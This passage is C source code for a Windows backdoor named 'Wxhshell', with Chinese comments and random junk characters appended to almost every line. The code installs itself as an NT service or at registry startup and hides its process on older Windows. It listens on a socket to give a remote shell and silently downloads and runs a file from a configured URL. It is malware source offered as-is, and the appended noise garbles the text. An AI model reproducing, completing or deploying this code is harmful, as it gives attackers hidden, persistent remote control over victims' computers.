ULONG InheritedFromUniqueProcessId; Ghv{'5w
} PROCESS_BASIC_INFORMATION; _\AUQ{
nsJ:Osq|
PROCNTQSIP NtQueryInformationProcess; X B I;Lg
@6.]!U4w
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eqzTQen8q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =t+ ('
_x\m|SF_g
HANDLE hProcess; qb7^VIo%c
PROCESS_BASIC_INFORMATION pbi; k&Jo"[i&WO
)LFD6\z1pl
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ??xlA-E
if(NULL == hInst ) return 0; ?vbDB 4
0<P(M: a
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g{ (@uzqG
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?iz<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OhWC}s
|$w*RI0C
if (!NtQueryInformationProcess) return 0; aPBX=;(
JieU9lA^&B
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B3b,F #
if(!hProcess) return 0; `ut)+T V
}brr ))
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _
VKgs]Y
&+;uZ-x
CloseHandle(hProcess); HWtPLlNt
JLW$+62
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K`+vfqX
if(hProcess==NULL) return 0; ?[SVqj2-
./iXyta
HMODULE hMod; 9eSRCLhgD
char procName[255]; wixD\t59X
unsigned long cbNeeded; rgR?wXW]jE
elKx]%k*)
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g~R/3cm4
Uz>Yn&{y6
CloseHandle(hProcess); Z[;#|$J
*PcVSEP/0
if(strstr(procName,"services")) return 1; // 以服务启动 O]_={%
=YoTyq\
return 0; // 注册表启动 sMJ#<w}Q
} g\J)= ,ju,
lZ a?Y@
// 主模块 qRUCnCZs
int StartWxhshell(LPSTR lpCmdLine) 'wE\{1~_[+
{ ]L]T>~X`
SOCKET wsl; |>JmS
BOOL val=TRUE; ,)uPGe"y
int port=0; 5rF /323z
struct sockaddr_in door; S~&\o\"5
E!YmcpCl
if(wscfg.ws_autoins) Install(); ^Ezcy?
R<j<.h
port=atoi(lpCmdLine); N l|^o{#
z|%Bh
if(port<=0) port=wscfg.ws_port; o}!&y?mp
XPVV+.
WSADATA data; g^n;IE$B
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ORtg>az\%
U,ELqi \
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %JaE4&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8>v7v&Bh|
door.sin_family = AF_INET; !h/dZ`#
door.sin_addr.s_addr = inet_addr("127.0.0.1"); wy\o*P9mG)
door.sin_port = htons(port); z@n+7p`w
Sgx+V"bkT
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wLSjXpP8
closesocket(wsl); }!knU3J
return 1; aKOf;^@
} 5F03y`@ u
`E%(pjG
if(listen(wsl,2) == INVALID_SOCKET) { w*2^/zh
closesocket(wsl); +DxifXtB
return 1; *vXDuhQ
} 1l~.R#W G&
Wxhshell(wsl); PIpWa$b
WSACleanup(); rJp?d9B
CH#kvR2
return 0; ZK!4>OuH`
y8D 8Y8B
} >+f'!*%7He
$uTlbAuv
// 以NT服务方式启动 h+
TB]
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K9}jR@jy$
{ -YAO3
DWORD status = 0; n4XMN\:g{
DWORD specificError = 0xfffffff; ?9,YVylg
'iGMn_&
serviceStatus.dwServiceType = SERVICE_WIN32; W=M<
c@
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >]C<j4
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b/G8Mr
serviceStatus.dwWin32ExitCode = 0; ;]"n?uo
serviceStatus.dwServiceSpecificExitCode = 0; ;\q<zO@x
serviceStatus.dwCheckPoint = 0; ew/KZE
serviceStatus.dwWaitHint = 0; @u<0_r
t
-
Ra\^uz
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'bG1U`v=3
if (hServiceStatusHandle==0) return; (T4k~T`3
U0zW9jB
status = GetLastError(); UzN8G$92qF
if (status!=NO_ERROR)
{\F2*P
{ DZF[dxH
serviceStatus.dwCurrentState = SERVICE_STOPPED; (c
1u{
serviceStatus.dwCheckPoint = 0; XZ;*>(
serviceStatus.dwWaitHint = 0; ?<g|.HY/
serviceStatus.dwWin32ExitCode = status; @s3aR*ny$
serviceStatus.dwServiceSpecificExitCode = specificError; bQ
i<0|S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3l.Nz@a*
return; Y9/{0TArG
} S]tkz*w0*
&~42T}GTWG
serviceStatus.dwCurrentState = SERVICE_RUNNING; =CGD
~p`
serviceStatus.dwCheckPoint = 0; (PyTq
5:F
serviceStatus.dwWaitHint = 0; 4h(jw
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zmdWVFVv
} 7d%A1}Bq$
u;QH8LK
// 处理NT服务事件,比如:启动、停止 4$qNcMdz
VOID WINAPI NTServiceHandler(DWORD fdwControl)
%L{
{ ]kzv8#
switch(fdwControl) hw7~i
{ 1+VY><=n
case SERVICE_CONTROL_STOP: ]gjr+GV
serviceStatus.dwWin32ExitCode = 0; *c!;^Qy p&
serviceStatus.dwCurrentState = SERVICE_STOPPED; w
5!ndu
serviceStatus.dwCheckPoint = 0; KC#kss
serviceStatus.dwWaitHint = 0; J,.j_ii`!
{ WFQ*s4 R(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;,()wH
} 5XhK#X%:A
return; i#Ne'q;T
case SERVICE_CONTROL_PAUSE: G%y>:$rw[O
serviceStatus.dwCurrentState = SERVICE_PAUSED; {/th`#o4b
break; (X0`1s
case SERVICE_CONTROL_CONTINUE: 5~v(AB(x
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,s\x]bh
break;
#_?426Wfs
case SERVICE_CONTROL_INTERROGATE: EKV+?jj$
break; ^cfkP(Y3kx
}; n.=e)*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); o",f(v&u%
} N`y}Gs
"u .)X3
// 标准应用程序主函数 8Pl+yiB/o`
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w++B-_
{ pjaiAe!k
Tz+HIUIxF
// 获取操作系统版本 j;$6F/g
OsIsNt=GetOsVer(); l{M;PaJ`}
GetModuleFileName(NULL,ExeFile,MAX_PATH); )Ix-5084
tn(?nQN3
// 从命令行安装 D|u^8\'.
if(strpbrk(lpCmdLine,"iI")) Install(); '-$))AdD
wUh3Hd'
// 下载执行文件 GlXA-p<
if(wscfg.ws_downexe) { x*5 Ch~<k
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D!l [3
WinExec(wscfg.ws_filenam,SW_HIDE); wrZ7Sr!/V
} e|2vb
GQ
;PuyA
if(!OsIsNt) { U-wq- GT
// 如果时win9x,隐藏进程并且设置为注册表启动 M63s(f
HideProc(); Y&K<{KA\4
StartWxhshell(lpCmdLine); Wq=ZU\Y
} lGD%R'}
else 1(#*'xR
if(StartFromService()) BXQ\A~P\
// 以服务方式启动 fxLE ]VJQ
StartServiceCtrlDispatcher(DispatchTable); X|lElN
else +0oyt?
// 普通方式启动 R=#q"9qz
StartWxhshell(lpCmdLine); -6hu31W
~u O:tL
return 0; Tx|SAa=V
}